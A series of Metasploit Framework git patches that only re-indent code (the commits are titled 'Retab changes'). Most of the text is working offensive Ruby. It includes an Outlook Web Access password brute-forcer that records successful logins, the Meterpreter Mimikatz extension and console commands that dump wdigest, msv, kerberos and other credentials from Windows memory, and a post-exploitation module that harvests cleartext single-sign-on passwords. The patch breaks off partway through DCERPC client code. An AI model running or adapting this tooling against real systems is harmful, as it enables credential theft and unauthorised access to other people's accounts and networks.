print_error("No username/password specified") if isempty - auth_path = action.opts['AuthPath'] - inbox_path = action.opts['InboxPath'] - login_check = action.opts['InboxCheck'] + auth_path = action.opts['AuthPath'] + inbox_path = action.opts['InboxPath'] + login_check = action.opts['InboxCheck'] - domain = nil + domain = nil - if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' - if datastore['ENUM_DOMAIN'] - domain = get_ad_domain - end - else - domain = datastore['AD_DOMAIN'] - end + if datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '' + if datastore['ENUM_DOMAIN'] + domain = get_ad_domain + end + else + domain = datastore['AD_DOMAIN'] + end - begin - each_user_pass do |user, pass| - vprint_status("#{msg} Trying #{user} : #{pass}") - try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) - end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED - print_error("#{msg} HTTP Connection Error, Aborting") - end - end + begin + each_user_pass do |user, pass| + vprint_status("#{msg} Trying #{user} : #{pass}") + try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost}) + end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED + print_error("#{msg} HTTP Connection Error, Aborting") + end + end - def try_user_pass(opts) - user = opts["user"] - pass = opts["pass"] - auth_path = opts["auth_path"] - inbox_path = opts["inbox_path"] - login_check = opts["login_check"] - vhost = opts["vhost"] - domain = opts["domain"] + def try_user_pass(opts) + user = opts["user"] + pass = opts["pass"] + auth_path = opts["auth_path"] + inbox_path = opts["inbox_path"] + login_check = opts["login_check"] + vhost = opts["vhost"] + domain = opts["domain"] - user = domain + '\\' + user if domain + user = domain + '\\' + user if domain - headers = { - 'Cookie' => 'PBack=0' - } + headers = { + 'Cookie' => 'PBack=0' + } - if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) - data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass - else - data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass - end + if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) + data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + else + data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass + end - begin - res = send_request_cgi({ - 'encode' => true, - 'uri' => auth_path, - 'method' => 'POST', - 'headers' => headers, - 'data' => data - }, 25) + begin + res = send_request_cgi({ + 'encode' => true, + 'uri' => auth_path, + 'method' => 'POST', + 'headers' => headers, + 'data' => data + }, 25) - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end - if not res.headers['set-cookie'] - print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting") - return :abort - end + if not res.headers['set-cookie'] + print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting") + return :abort + end - # these two lines are the authentication info - sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0] - cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0] + # these two lines are the authentication info + sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0] + cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0] - headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata + headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata - begin - res = send_request_cgi({ - 'uri' => inbox_path, - 'method' => 'GET', - 'headers' => headers - }, 20) - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end + begin + res = send_request_cgi({ + 'uri' => inbox_path, + 'method' => 'GET', + 'headers' => headers + }, 20) + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end - if res.code == 302 - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") - return :skip_pass - end + if res.code == 302 + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") + return :skip_pass + end - if res.body =~ login_check - print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + if res.body =~ login_check + print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'owa', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'owa', + :user => user, + :pass => pass, + :active => true, + :type => 'password'} - report_auth_info(report_hash) - return :next_user - else - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") - return :skip_pass - end - end + report_auth_info(report_hash) + return :next_user + else + vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'") + return :skip_pass + end + end - def get_ad_domain - urls = ["aspnet_client", - "Autodiscover", - "ecp", - "EWS", - "Microsoft-Server-ActiveSync", - "OAB", - "PowerShell", - "Rpc"] + def get_ad_domain + urls = ["aspnet_client", + "Autodiscover", + "ecp", + "EWS", + "Microsoft-Server-ActiveSync", + "OAB", + "PowerShell", + "Rpc"] - domain = nil + domain = nil - begin - urls.each do |url| - res = send_request_cgi({ - 'encode' => true, - 'uri' => "/#{url}", - 'method' => 'GET', - 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} - }, 25) + begin + urls.each do |url| + res = send_request_cgi({ + 'encode' => true, + 'uri' => "/#{url}", + 'method' => 'GET', + 'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }, 25) - if not res - print_error("#{msg} HTTP Connection Error, Aborting") - return :abort - end + if not res + print_error("#{msg} HTTP Connection Error, Aborting") + return :abort + end - if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) - hash = res['WWW-Authenticate'].split('NTLM ')[1] - domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') - print_good("Found target domain: " + domain) - break - end - end + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'') + print_good("Found target domain: " + domain) + break + end + end - rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") - return :abort - end - return domain - end + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed, Aborting") + return :abort + end + return domain + end - def msg - "#{vhost}:#{rport} OWA -" - end + def msg + "#{vhost}:#{rport} OWA -" + end end From daed98931e8e2e9b029863dd22e8764a201b0b39 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:19:55 -0500 Subject: [PATCH 022/409] Retab changes for PR #2158 --- .../extensions/mimikatz/mimikatz.rb | 172 +++++++++--------- 1 file changed, 86 insertions(+), 86 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index 2ee5667ecb..c3ea4dd08a 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -22,103 +22,103 @@ module Mimikatz class Mimikatz < Extension - def initialize(client) - super(client, 'mimikatz') + def initialize(client) + super(client, 'mimikatz') - client.register_extension_aliases( - [ - { - 'name' => 'mimikatz', - 'ext' => self - }, - ]) - end + client.register_extension_aliases( + [ + { + 'name' => 'mimikatz', + 'ext' => self + }, + ]) + end - def send_custom_command(function, args=[]) - request = Packet.create_request('mimikatz_custom_command') - request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) - args.each do |a| - request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) - end - response = client.send_request(request) - return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)) - end + def send_custom_command(function, args=[]) + request = Packet.create_request('mimikatz_custom_command') + request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) + args.each do |a| + request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) + end + response = client.send_request(request) + return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)) + end - def parse_creds_result(result) - details = CSV.parse(result) - accounts = [] - details.each do |acc| - account = { - :authid => acc[0], - :package => acc[1], - :user => acc[2], - :domain => acc[3], - :password => acc[4] - } - accounts << account - end - return accounts - end + def parse_creds_result(result) + details = CSV.parse(result) + accounts = [] + details.each do |acc| + account = { + :authid => acc[0], + :package => acc[1], + :user => acc[2], + :domain => acc[3], + :password => acc[4] + } + accounts << account + end + return accounts + end - def parse_ssp_result(result) - details = CSV.parse(result) - accounts = [] + def parse_ssp_result(result) + details = CSV.parse(result) + accounts = [] - return accounts unless details - details.each do |acc| - next unless acc.length == 5 - ssps = acc[4].split(' }') - next unless ssps - ssps.each do |ssp| - next unless ssp - s_acc = ssp.split(' ; ') - next unless s_acc - user = s_acc[0].split('{ ')[1] - next unless user - account = { - :authid => acc[0], - :package => acc[1], - :user => user, - :domain => s_acc[1], - :password => s_acc[2], - :orig_user => acc[2], - :orig_domain => acc[3] - } - accounts << account - end - end - return accounts - end + return accounts unless details + details.each do |acc| + next unless acc.length == 5 + ssps = acc[4].split(' }') + next unless ssps + ssps.each do |ssp| + next unless ssp + s_acc = ssp.split(' ; ') + next unless s_acc + user = s_acc[0].split('{ ')[1] + next unless user + account = { + :authid => acc[0], + :package => acc[1], + :user => user, + :domain => s_acc[1], + :password => s_acc[2], + :orig_user => acc[2], + :orig_domain => acc[3] + } + accounts << account + end + end + return accounts + end - def wdigest - result = send_custom_command('sekurlsa::wdigest') - return parse_creds_result(result) - end + def wdigest + result = send_custom_command('sekurlsa::wdigest') + return parse_creds_result(result) + end - def msv - result = send_custom_command('sekurlsa::msv') - return parse_creds_result(result) - end + def msv + result = send_custom_command('sekurlsa::msv') + return parse_creds_result(result) + end - def livessp - result = send_custom_command('sekurlsa::livessp') - return parse_creds_result(result) - end + def livessp + result = send_custom_command('sekurlsa::livessp') + return parse_creds_result(result) + end - def ssp - result = send_custom_command('sekurlsa::ssp') - return parse_ssp_result(result) - end + def ssp + result = send_custom_command('sekurlsa::ssp') + return parse_ssp_result(result) + end - def tspkg - result = send_custom_command('sekurlsa::tspkg') - return parse_creds_result(result) - end + def tspkg + result = send_custom_command('sekurlsa::tspkg') + return parse_creds_result(result) + end - def kerberos - result = send_custom_command('sekurlsa::kerberos') - return parse_creds_result(result) - end + def kerberos + result = send_custom_command('sekurlsa::kerberos') + return parse_creds_result(result) + end end end; end; end; end; end From 26b8364dcb1696e18c1dbcf26ae9af5bddaf6da5 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 14:44:21 -0500 Subject: [PATCH 023/409] Retab changes for PR #1789 --- .../extensions/mimikatz/mimikatz.rb | 166 ++++++------ .../ui/console/command_dispatcher/mimikatz.rb | 256 +++++++++--------- .../post/windows/gather/credentials/sso.rb | 224 +++++++-------- 3 files changed, 323 insertions(+), 323 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index 4c35f848f4..33d24a2689 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -22,100 +22,100 @@ module Mimikatz class Mimikatz < Extension - def initialize(client) - super(client, 'mimikatz') + def initialize(client) + super(client, 'mimikatz') - client.register_extension_aliases( - [ - { - 'name' => 'mimikatz', - 'ext' => self - }, - ]) - end + client.register_extension_aliases( + [ + { + 'name' => 'mimikatz', + 'ext' => self + }, + ]) + end - def send_custom_command_raw(function, args=[]) - request = Packet.create_request('mimikatz_custom_command') - request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) - args.each do |a| - request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) - end - response = client.send_request(request) - return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT) - end + def send_custom_command_raw(function, args=[]) + request = Packet.create_request('mimikatz_custom_command') + request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) + args.each do |a| + request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) + end + response = client.send_request(request) + return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT) + end - def send_custom_command(function, args=[]) - return Rex::Text.to_ascii(send_custom_command_raw(function, args)) - end + def send_custom_command(function, args=[]) + return Rex::Text.to_ascii(send_custom_command_raw(function, args)) + end - def parse_creds_result(result) - details = CSV.parse(result) - accounts = [] - details.each do |acc| - account = { - :authid => acc[0], - :package => acc[1], - :user => acc[2], - :domain => acc[3], - :password => acc[4] - } - accounts << account - end - return accounts - end + def parse_creds_result(result) + details = CSV.parse(result) + accounts = [] + details.each do |acc| + account = { + :authid => acc[0], + :package => acc[1], + :user => acc[2], + :domain => acc[3], + :password => acc[4] + } + accounts << account + end + return accounts + end - def parse_ssp_result(result) - details = CSV.parse(result) - accounts = [] - details.each do |acc| - ssps = acc[4].split(' }') - ssps.each do |ssp| - s_acc = ssp.split(' ; ') - user = s_acc[0].split('{ ')[1] - account = { - :authid => acc[0], - :package => acc[1], - :user => user, - :domain => s_acc[1], - :password => s_acc[2], - :orig_user => acc[2], - :orig_domain => acc[3] - } - accounts << account - end - end - return accounts - end + def parse_ssp_result(result) + details = CSV.parse(result) + accounts = [] + details.each do |acc| + ssps = acc[4].split(' }') + ssps.each do |ssp| + s_acc = ssp.split(' ; ') + user = s_acc[0].split('{ ')[1] + account = { + :authid => acc[0], + :package => acc[1], + :user => user, + :domain => s_acc[1], + :password => s_acc[2], + :orig_user => acc[2], + :orig_domain => acc[3] + } + accounts << account + end + end + return accounts + end - def wdigest - result = send_custom_command('sekurlsa::wdigest') - return parse_creds_result(result) - end + def wdigest + result = send_custom_command('sekurlsa::wdigest') + return parse_creds_result(result) + end - def msv - result = send_custom_command('sekurlsa::msv') - return parse_creds_result(result) - end + def msv + result = send_custom_command('sekurlsa::msv') + return parse_creds_result(result) + end - def livessp - result = send_custom_command('sekurlsa::livessp') - return parse_creds_result(result) - end + def livessp + result = send_custom_command('sekurlsa::livessp') + return parse_creds_result(result) + end - def ssp - result = send_custom_command('sekurlsa::ssp') - return parse_ssp_result(result) - end + def ssp + result = send_custom_command('sekurlsa::ssp') + return parse_ssp_result(result) + end - def tspkg - result = send_custom_command('sekurlsa::tspkg') - return parse_creds_result(result) - end + def tspkg + result = send_custom_command('sekurlsa::tspkg') + return parse_creds_result(result) + end - def kerberos - result = send_custom_command('sekurlsa::kerberos') - return parse_creds_result(result) - end + def kerberos + result = send_custom_command('sekurlsa::kerberos') + return parse_creds_result(result) + end end end; end; end; end; end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 53d3f4604b..750a2fc2b6 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -17,159 +17,159 @@ module Ui ### class Console::CommandDispatcher::Mimikatz - Klass = Console::CommandDispatcher::Mimikatz + Klass = Console::CommandDispatcher::Mimikatz - include Console::CommandDispatcher + include Console::CommandDispatcher - # - # Initializes an instance of the priv command interaction. - # - def initialize(shell) - super - end + # + # Initializes an instance of the priv command interaction. + # + def initialize(shell) + super + end - # - # List of supported commands. - # - def commands - { - "mimikatz_command" => "Run a custom commannd", - "wdigest" => "Attempt to retrieve wdigest creds", - "msv" => "Attempt to retrieve msv creds (hashes)", - "livessp" => "Attempt to retrieve livessp creds", - "ssp" => "Attempt to retrieve ssp creds", - "tspkg" => "Attempt to retrieve tspkg creds", - "kerberos" => "Attempt to retrieve kerberos creds" - } - end + # + # List of supported commands. + # + def commands + { + "mimikatz_command" => "Run a custom commannd", + "wdigest" => "Attempt to retrieve wdigest creds", + "msv" => "Attempt to retrieve msv creds (hashes)", + "livessp" => "Attempt to retrieve livessp creds", + "ssp" => "Attempt to retrieve ssp creds", + "tspkg" => "Attempt to retrieve tspkg creds", + "kerberos" => "Attempt to retrieve kerberos creds" + } + end - @@command_opts = Rex::Parser::Arguments.new( - "-f" => [true, "The function to pass to the command."], - "-a" => [true, "The arguments to pass to the command."], - "-h" => [false, "Help menu."] - ) + @@command_opts = Rex::Parser::Arguments.new( + "-f" => [true, "The function to pass to the command."], + "-a" => [true, "The arguments to pass to the command."], + "-h" => [false, "Help menu."] + ) - def cmd_mimikatz_command(*args) - if (args.length == 0) - args.unshift("-h") - end + def cmd_mimikatz_command(*args) + if (args.length == 0) + args.unshift("-h") + end - cmd_args = nil - cmd_func = nil - arguments = [] + cmd_args = nil + cmd_func = nil + arguments = [] - @@command_opts.parse(args) { |opt, idx, val| - case opt - when "-a" - cmd_args = val - when "-f" - cmd_func = val - when "-h" - print( - "Usage: mimikatz_command -f func -a args\n\n" + - "Executes a mimikatz command on the remote machine.\n" + - "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + - @@command_opts.usage) - return true - end - } + @@command_opts.parse(args) { |opt, idx, val| + case opt + when "-a" + cmd_args = val + when "-f" + cmd_func = val + when "-h" + print( + "Usage: mimikatz_command -f func -a args\n\n" + + "Executes a mimikatz command on the remote machine.\n" + + "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" + + @@command_opts.usage) + return true + end + } - unless cmd_func - print_error("You must specify a function with -f") - return true - end + unless cmd_func + print_error("You must specify a function with -f") + return true + end - if cmd_args - arguments = cmd_args.split(" ") - end + if cmd_args + arguments = cmd_args.split(" ") + end - print client.mimikatz.send_custom_command(cmd_func, arguments) - print_line - end + print client.mimikatz.send_custom_command(cmd_func, arguments) + print_line + end - def mimikatz_request(provider, method) - get_privs - print_status("Retrieving #{provider} credentials") - accounts = method.call + def mimikatz_request(provider, method) + get_privs + print_status("Retrieving #{provider} credentials") + accounts = method.call - table = Rex::Ui::Text::Table.new( - 'Header' => "#{provider} credentials", - 'Indent' => 0, - 'SortIndex' => 4, - 'Columns' => - [ - 'AuthID', 'Package', 'Domain', 'User', 'Password' - ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => "#{provider} credentials", + 'Indent' => 0, + 'SortIndex' => 4, + 'Columns' => + [ + 'AuthID', 'Package', 'Domain', 'User', 'Password' + ] + ) - accounts.each do |acc| - table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] - end + accounts.each do |acc| + table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] + end - print_line table.to_s + print_line table.to_s - return true - end + return true + end - def cmd_wdigest(*args) - method = Proc.new { client.mimikatz.wdigest } - mimikatz_request("wdigest", method) - end + def cmd_wdigest(*args) + method = Proc.new { client.mimikatz.wdigest } + mimikatz_request("wdigest", method) + end - def cmd_msv(*args) - method = Proc.new { client.mimikatz.msv } - mimikatz_request("msv", method) - end + def cmd_msv(*args) + method = Proc.new { client.mimikatz.msv } + mimikatz_request("msv", method) + end - def cmd_livessp(*args) - method = Proc.new { client.mimikatz.livessp } - mimikatz_request("livessp", method) - end + def cmd_livessp(*args) + method = Proc.new { client.mimikatz.livessp } + mimikatz_request("livessp", method) + end - def cmd_ssp(*args) - method = Proc.new { client.mimikatz.ssp } - mimikatz_request("ssp", method) - end + def cmd_ssp(*args) + method = Proc.new { client.mimikatz.ssp } + mimikatz_request("ssp", method) + end - def cmd_tspkg(*args) - method = Proc.new { client.mimikatz.tspkg } - mimikatz_request("tspkg", method) - end + def cmd_tspkg(*args) + method = Proc.new { client.mimikatz.tspkg } + mimikatz_request("tspkg", method) + end - def cmd_kerberos(*args) - method = Proc.new { client.mimikatz.kerberos } - mimikatz_request("kerberos", method) - end + def cmd_kerberos(*args) + method = Proc.new { client.mimikatz.kerberos } + mimikatz_request("kerberos", method) + end - def get_privs - unless system_check - print_status("Attempting to getprivs") - privs = client.sys.config.getprivs - unless privs.include? "SeDebugPrivilege" - print_warning("Did not get SeDebugPrivilege") - else - print_good("Got SeDebugPrivilege") - end - else - print_good("Running as SYSTEM") - end - end + def get_privs + unless system_check + print_status("Attempting to getprivs") + privs = client.sys.config.getprivs + unless privs.include? "SeDebugPrivilege" + print_warning("Did not get SeDebugPrivilege") + else + print_good("Got SeDebugPrivilege") + end + else + print_good("Running as SYSTEM") + end + end - def system_check - unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") - print_warning("Not currently running as SYSTEM") - return false - end + def system_check + unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") + print_warning("Not currently running as SYSTEM") + return false + end - return true - end + return true + end - # - # Name for this dispatcher - # - def name - "Mimikatz" - end + # + # Name for this dispatcher + # + def name + "Mimikatz" + end end end diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index b1430aae2e..fa2ec0c676 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -10,134 +10,134 @@ require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Auxiliary::Report + include Msf::Post::Windows::Priv + include Msf::Auxiliary::Report - def initialize(info={}) - super( update_info(info, - 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', - 'Description' => %q{ - This module will collect cleartext Single Sign On credentials from the Local - Security Authority using the Mimikatz extension. Blank passwords will not be stored - in the database. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Ben Campbell '], - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter' ] - )) - end + def initialize(info={}) + super( update_info(info, + 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', + 'Description' => %q{ + This module will collect cleartext Single Sign On credentials from the Local + Security Authority using the Mimikatz extension. Blank passwords will not be stored + in the database. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Ben Campbell '], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter' ] + )) + end - def run - if sysinfo.nil? - print_error("This module is only available in a windows meterpreter session.") - return - end + def run + if sysinfo.nil? + print_error("This module is only available in a windows meterpreter session.") + return + end - print_status("Running module against #{sysinfo['Computer']}") + print_status("Running module against #{sysinfo['Computer']}") - if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) - print_error("x64 platform requires x64 meterpreter and mimikatz extension") - return - end + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + print_error("x64 platform requires x64 meterpreter and mimikatz extension") + return + end - unless client.mimikatz - vprint_status("Loading mimikatz extension...") - begin - client.core.use("mimikatz") - rescue Errno::ENOENT - print_error("This module is only available in a windows meterpreter session.") - return - end - end + unless client.mimikatz + vprint_status("Loading mimikatz extension...") + begin + client.core.use("mimikatz") + rescue Errno::ENOENT + print_error("This module is only available in a windows meterpreter session.") + return + end + end - unless is_system? - vprint_warning("Not running as SYSTEM") - debug = client.mimikatz.send_custom_command("privilege::debug") - if debug =~ /Not all privileges or groups referenced are assigned to the caller/ - print_error("Unable to get Debug privilege") - return - else - vprint_status("Retrieved Debug privilege") - end - end + unless is_system? + vprint_warning("Not running as SYSTEM") + debug = client.mimikatz.send_custom_command("privilege::debug") + if debug =~ /Not all privileges or groups referenced are assigned to the caller/ + print_error("Unable to get Debug privilege") + return + else + vprint_status("Retrieved Debug privilege") + end + end - vprint_status("Retrieving WDigest") - res = client.mimikatz.wdigest - vprint_status("Retrieving Tspkg") - res.concat client.mimikatz.tspkg - vprint_status("Retrieving Kerberos") - res.concat client.mimikatz.kerberos - vprint_status("Retrieving SSP") - res.concat client.mimikatz.ssp - vprint_status("Retrieving LiveSSP") - livessp = client.mimikatz.livessp - unless livessp.first[:password] =~ /livessp KO/ - res.concat client.mimikatz.livessp - else - vprint_error("LiveSSP credentials not present") - end + vprint_status("Retrieving WDigest") + res = client.mimikatz.wdigest + vprint_status("Retrieving Tspkg") + res.concat client.mimikatz.tspkg + vprint_status("Retrieving Kerberos") + res.concat client.mimikatz.kerberos + vprint_status("Retrieving SSP") + res.concat client.mimikatz.ssp + vprint_status("Retrieving LiveSSP") + livessp = client.mimikatz.livessp + unless livessp.first[:password] =~ /livessp KO/ + res.concat client.mimikatz.livessp + else + vprint_error("LiveSSP credentials not present") + end - table = Rex::Ui::Text::Table.new( - 'Header' => "Windows SSO Credentials", - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => - [ - 'AuthID', 'Package', 'Domain', 'User', 'Password' - ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => "Windows SSO Credentials", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => + [ + 'AuthID', 'Package', 'Domain', 'User', 'Password' + ] + ) - unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values + unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values - unique_results.each do |result| - next if is_system_user? result[:user] - table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]] - report_creds(result[:domain], result[:user], result[:password]) - end + unique_results.each do |result| + next if is_system_user? result[:user] + table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]] + report_creds(result[:domain], result[:user], result[:password]) + end - print_line table.to_s - end + print_line table.to_s + end - def report_creds(domain, user, pass) - return if (user.empty? or pass.empty?) + def report_creds(domain, user, pass) + return if (user.empty? or pass.empty?) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end + if session.db_record + source_id = session.db_record.id + else + source_id = nil + end - report_auth_info( - :host => session.session_host, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => "#{domain}\\#{user}", - :pass => pass - ) - end + report_auth_info( + :host => session.session_host, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => source_id, + :source_type => "exploit", + :user => "#{domain}\\#{user}", + :pass => pass + ) + end - def is_system_user?(user) - system_users = [ - /^$/, - /^DWM-\d$/, - /^ASPNET$/, - /^ASP\.NET V2\.0 Integrated$/, - /^ANONYMOUS LOGON$/, - /^IUSR.*/, - /^IWAM.*/, - /^IIS_WPG$/, - /.*\$$/, - /^LOCAL SERVICE$/, - /^NETWORK SERVICE$/, - /^LOCAL SYSTEM$/ - ] + def is_system_user?(user) + system_users = [ + /^$/, + /^DWM-\d$/, + /^ASPNET$/, + /^ASP\.NET V2\.0 Integrated$/, + /^ANONYMOUS LOGON$/, + /^IUSR.*/, + /^IWAM.*/, + /^IIS_WPG$/, + /.*\$$/, + /^LOCAL SERVICE$/, + /^NETWORK SERVICE$/, + /^LOCAL SYSTEM$/ + ] - return system_users.find{|r| user.match(r)} - end + return system_users.find{|r| user.match(r)} + end end From 8bc83f49228a25a9f554104cffff69dc694c69d9 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 16:21:26 -0500 Subject: [PATCH 024/409] Retab changes for PR #1420 --- lib/rex/proto/dcerpc/client.rb | 562 +++++++++--------- lib/rex/proto/dcerpc/packet.rb | 420 ++++++------- lib/rex/proto/dcerpc/wdscp/constants.rb | 130 ++-- lib/rex/proto/dcerpc/wdscp/packet.rb | 120 ++-- .../dcerpc/windows_deployment_services.rb | 358 +++++------ 5 files changed, 795 insertions(+), 795 deletions(-) diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index a11608e923..43cdbe390a 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -10,350 +10,350 @@ require 'rex/proto/dcerpc/exceptions' require 'rex/text' require 'rex/proto/smb/exceptions' - attr_accessor :handle, :socket, :options, :last_response, :context, :no_bind, :ispipe, :smb + attr_accessor :handle, :socket, :options, :last_response, :context, :no_bind, :ispipe, :smb - # initialize a DCE/RPC Function Call - def initialize(handle, socket, useroptions = Hash.new) - self.handle = handle - self.socket = socket - self.options = { - 'smb_user' => '', - 'smb_pass' => '', - 'smb_pipeio' => 'rw', - 'smb_name' => nil, - 'read_timeout' => 10, - 'connect_timeout' => 5 - } + # initialize a DCE/RPC Function Call + def initialize(handle, socket, useroptions = Hash.new) + self.handle = handle + self.socket = socket + self.options = { + 'smb_user' => '', + 'smb_pass' => '', + 'smb_pipeio' => 'rw', + 'smb_name' => nil, + 'read_timeout' => 10, + 'connect_timeout' => 5 + } - self.options.merge!(useroptions) + self.options.merge!(useroptions) - # If the caller passed us a 